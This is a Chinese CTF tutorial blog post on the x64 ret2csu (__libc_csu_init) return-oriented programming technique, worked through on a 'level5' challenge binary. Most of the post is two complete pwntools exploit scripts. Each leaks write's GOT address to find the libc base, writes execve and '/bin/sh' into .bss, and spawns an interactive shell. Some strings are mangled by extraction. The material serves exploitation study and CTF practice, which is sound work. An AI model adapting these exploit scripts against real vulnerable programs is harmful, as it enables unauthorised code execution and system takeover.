zoukankan      html  css  js  c++  java
  • ROP | 中级

    x64 | libc_csu_init原理

    rbp-rbx!=0为假则按红箭头走。


    add esp,8,相当于

    在执行完pop之后,跳转至loc_4011C8,在之后顺序执行,由add esp,8(相当于pop),所以偏移78

    下图有误(特此勘正):在loc_4011DE与p64(rbx)之间还有8
    'b',这也是由于sub esp,8造成的

    例题

    objdump -h level5
    

    可以看到.bss可写,在level5放入IDA中,Shift+ F12无"/bin/sh",也无system函数,需要自己构造

    ctf-wiki上的脚本没跑通,主要是参数放反了

    from pwn import *
    #from LibcSearcher import LibcSearcher
    #import time
    context.log_level='debug'
    context.arch='amd64'
    context.os='Linux'
    p=process('./level5')
    elf=ELF('./level5')
    
    bss_base=elf.bss()
    gad1=0x0000000004011DE
    gad2=0x0000000004011C8
    offset=0x80
    write_got=elf.got['write']
    read_got=elf.got['read']
    main_addr=elf.symbols['main']
    def csu_rop(rbx,rbp,r12,r13,r14,r15,ret,offset):
    	payload=(offset+0x8)*"a"
    	payload+=p64(gad1)
    	payload+='b'*8     #fake pop because of add esp,8
    	payload+=p64(rbx) 
    	payload+=p64(rbp)
    	payload+=p64(r12) 
    	payload+=p64(r13)
    	payload+=p64(r14)
    	payload+=p64(r15)
    	payload+=p64(gad2)
    	payload+=(0x38)*'c'
    	payload+=p64(ret)
    	p.send(payload)
    	#sleep(1)
        ## write(1,write_got,8)
    p.recvuntil('Hello, World
    ')
    csu_rop(0,1,write_got,1,write_got,8,main_addr,offset)
    
    write_addr=u64(p.recv(8))
    
    #libc = LibcSearcher('write', write_addr)
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc_base = write_addr - libc.symbols['write']
    execve_addr = libc_base + libc.symbols['execve']
    #log.success('execve_addr ' + hex(execve_addr))
    ##gdb.attach(sh)
    
    ## read(0,bss_base,16)
    ## read execve_addr and /bin/shx00
    p.recvuntil('Hello, World
    ')
    csu_rop(0, 1, read_got, 0, bss_base, 16,main_addr,offset)
    #p.recvuntil('Hello, World
    ')
    
    p.send(p64(execve_addr) + '/bin/shx00')
    p.recvuntil('Hello, World
    ')
    ## execve(bss_base+8)
    csu_rop(0, 1,bss_base,bss_base+8,0,0,main_addr,offset)
    
    p.interactive()
    

    已下为大佬偏有宸机的参考脚本:

    # #coding:utf-8
    from pwn import *
    sh = process("./level5")
    elf = ELF("./level5")
    context.log_level = 'debug'
    context.terminal = ['tmux','splitw','-h']
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    gadget1 = 0x00000000004011DE
    gadget2 = 0x00000000004011C8
    write_got = elf.got['write']
    main_addr = elf.symbols['main']
    print "write_got:"+ hex(write_got)
    print "main_Addr:"+ hex(main_addr)
    def csu(r12,r13,r14,r15,ret_addr):
        payload = "a"*136
        payload += p64(gadget1)
        payload += 'b'*8
        payload += p64(0)
        payload += p64(1)
        payload += p64(r12)
        payload += p64(r13)#参数1
        payload += p64(r14)#参数2
        payload += p64(r15)#参数3
        payload += p64(gadget2)
        payload += 'c' * 0x38
        payload += p64(ret_addr)
        sh.sendline(payload)
    ###第一次溢出,泄露write函数的地址
    sh.recvuntil("Hello, World
    ")
    csu(write_got,1,write_got,8,main_addr)
    #利用write函数(因为gadget2中的代码为call,所以必须为write函数的got地址)
    #来读取write的got表内容,向后读取8个字节,然后返回至main住花鸟属
    write_addr = u64(sh.recv(8))
    #接收数据,并解包 
    print hex(write_addr)
    offset_addr = write_addr-libc.symbols['write']
    print hex(offset_addr)#偏移地址
    execve_addr = offset_addr + libc.symbols['execve']
    print hex(execve_addr)
    ####第二次溢出,利用read函数写入execve()+/bin/sh
    read_addr = elf.got['read'] 
    
    bss_addr = elf.bss()
    csu(read_addr,0,bss_addr,16,main_addr)
    #读取用户输入的数据到指定的bss地址,写入16个字节
    sh.recvuntil("Hello, World
    ")
    #gdb.attach(sh)
    sh.send(p64(execve_addr)+'/bin/shx00')
    #发送execve的地址加上/bin/sh到bss段
    print "bss_addr:",hex(bss_addr)
    ###第三次溢出,调用bss地址内的代码
    sh.recvuntil("Hello, World
    ")
    csu(bss_addr,bss_addr+8,0,0,main_addr)
    #也就是利用gadget2中的call 来获取权限 
    sh.interactive()
    

    攻击效果

    https://oneda1sy.gitee.io/2020/02/03/rop-ret2csu/
    https://www.cnblogs.com/Ox9A82/p/5487725.html
    https://eqqie.cn/index.php/moectf_note/229/
    https://www.jianshu.com/p/73fff078c19c

  • 相关阅读:
    h5 百度获取地址
    Vue Cli项目使用PDF.js预览pdf无法访问到viewer.html
    Avoid mutating a prop directly since the value will be overwritten whenever the parent component re-renders. Instead...
    VUE ES6转ES5,(ios 10.2版本,白屏,猜想es6语法原因)
    Vue+element-ui Upload 的http-request自定义上传文件
    vuejs中如何动态拼接生成字段名
    el-cascader 使用
    hdu 3555 数位dp入门
    codeforces Registration system
    hdu 1166 敌兵布阵
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/13251744.html
Copyright © 2011-2022 走看看